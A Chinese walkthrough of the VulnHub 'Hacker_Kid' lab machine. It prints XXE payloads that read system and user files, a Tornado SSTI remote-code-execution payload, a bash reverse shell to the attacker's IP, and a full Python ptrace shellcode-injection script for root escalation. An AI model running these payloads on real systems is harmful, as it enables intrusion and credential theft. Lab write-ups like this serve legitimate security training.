一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:Hacker_Kid(10.0.2.42)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
二、信息收集
使用nmap主机发现靶机ip:10.0.2.42
使用nmap端口扫描发现,靶机开放端口:53、80、9999
80端口:打开网站没有发现什么有用的功能点,
9999端口:打开网站发现是一个登录界面
查看源码发现提示信息,需要使用page_no查看页面
TO DO: Use a GET parameter page_no to view pages.
尝试提交一个 GET 参数 page_no=1浏览页面,发现页面有变化,提示要挖的更深一点,可能是参数不对
我们使用burpsuite爆破参数,发现21参数
访问page_no=21,发现提示,需要使用子域名访问
好吧,你想让我说点什么?
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器!
在我的许多家中…一个这样的家…对我来说,一个这样的家:hackers.blackhat.local
将下面两条数据添加进/etc.hosts
文件里面
10.0.2.15 hackers.blackhat.local
10.0.2.15 blackhat.local
联想到靶机开放了53端口,我们可以使用dig来执行DNS搜索
dig hackers.blackhat.local @10.0.2.42
发现一个子域名,将该子域名添加入/etc.hosts
文件里面,浏览器访问该子域名,发现是一个注册页面
10.0.2.15 hackerkid.blackhat.local
但直接注册注册不了
三、漏洞利用
使用burpsuite抓包看看,发现post 的数据包含 XML 格式,可以尝试探测是否存在XXE漏洞
因为,响应包返回的信息中,有email的值。
那么我么尝试构造payload来构造外部实体email处的注入,利用协议读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>
读取成功存在XXE漏洞,筛选出两个用户具有 /bin/bash
root:x:0:0:root:/root:/bin/bash
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
我们可以尝试读取saket用户的home目录里面的文件
/home/saket/.bash_history
/home/saket/.bash_logout
/home/saket/.bashrc
注意直接读取文件内容是读取不出来的,需要使用base64加密后输出
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>
解密得到一个用户名密码
使用该用户名密码直接登录登录不了,想到该文件是放在saket用户的home目录下,可以将用户名改成saket试试
#Setting Password for running python app
username=“admin”
password=“Saket!#$%@!!”saket:Saket!#$%@!!
登录成功
提示告诉他名字,尝试构造参数name,发现存在回显
根据nmap的扫描结果9999端口是tornado框架搭建的,tornado是一个用Python语言写成的Web服务器兼Web应用框架,可以尝试探测ssti注入漏洞,输入{{6*6}},回显36,存在ssti注入漏洞
尝试构造payload,需要寻找可以利用globals的函数,使用burpsuite爆破
使用eval函数执行命令
http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
反弹shell,注意payload需要使用url编码
http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('''__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"')''')}}
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查看靶机是否存在特权命令或可利用的具有root权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1
文件,该版本的polkit具有提权漏洞,但靶机没有gcc环境。
sudo -l
find / -perm -u=s -type f 2>/dev/null
我们使用其他方法提权,我们可以查看saket用户目录下的.bash_history
文件,该文件保存了用户的历史命令,发现靶机本地 5600端口开放这一个服务
查看本地端口占用信息,未看到有 5600 端口
我们可以使用下面的这条命令查找具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null
发现/usr/bin/python2.7 = cap_sys_ptrace+ep
可以利用python具备的cap_sys_ptrace+ep 能力对root权限的进程注入python类型shellcode,以此实现权限提升。
提权脚本:
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。
将脚本文件上传到靶机
本地:service apache2 start
靶机:wget http://10.0.2.15/inject.py
因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
脚本执行完毕,可以查看本地是否开启了 5600 端口
netstat -tunpla |grep 5600
直接使用nc连接,获取root权限
nc 127.0.0.1 5600
未发现flag
参考链接:vulnhub靶场——Hacker-Kid-v1-0-1_hacker_kid-CSDN博客